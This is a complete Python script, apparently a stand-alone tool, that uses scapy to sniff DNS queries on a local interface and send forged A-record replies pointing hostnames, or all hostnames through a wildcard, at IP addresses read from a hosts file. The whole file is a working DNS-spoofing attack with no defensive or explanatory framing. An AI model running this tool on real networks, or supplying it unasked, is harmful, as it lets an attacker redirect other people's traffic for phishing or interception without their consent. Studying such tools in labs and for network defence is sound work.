dns-spoof.py

#!/usr/bin/python3

import sys
import getopt
import scapy.all as scapy

dev = "enp3s0f1"
filter = "udp port 53"
file = None
dns_map = {}

def handle_packet(packet):
    ip = packet.getlayer(scapy.IP)
    udp = packet.getlayer(scapy.UDP)
    dns = packet.getlayer(scapy.DNS)

    # standard (a record) dns query
    if dns.qr == 0 and dns.opcode == 0:
        queried_host = dns.qd.qname[:-1].decode()
        resolved_ip = None

        if dns_map.get(queried_host):
            resolved_ip = dns_map.get(queried_host)
        elif dns_map.get('*'):
            resolved_ip = dns_map.get('*')

        if resolved_ip:
            dns_answer = scapy.DNSRR(rrname=queried_host + ".",
                                     ttl=330,
                                     type="A",
                                     rclass="IN",
                                     rdata=resolved_ip)

            dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
                        scapy.UDP(sport=udp.dport,
                                  dport=udp.sport) / \
                        scapy.DNS(
                            id = dns.id,
                            qr = 1,
                            aa = 0,
                            rcode = 0,
                            qd = dns.qd,
                            an = dns_answer
                        )

            print("Send %s has %s to %s" % (queried_host,
                                            resolved_ip,
                                            ip.src))
            scapy.send(dns_reply, iface=dev)


def usage():
    print(sys.argv[0] + " -f <hosts-file> -i <dev>")
    sys.exit(1)


def parse_host_file(file):
    for line in open(file):
        line = line.rstrip('\n')

        if line:
            (ip, host) = line.split()
            dns_map[host] = ip

try:
    cmd_opts = "f:i:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-i":
        dev = opt[1]
    elif opt[0] == "-f":
        file = opt[1]
    else:
        usage()

if file:
    parse_host_file(file)
else:
    usage()

print("Spoofing DNS requests on %s" % (dev))
scapy.sniff(iface=dev, filter=filter, prn=handle_packet)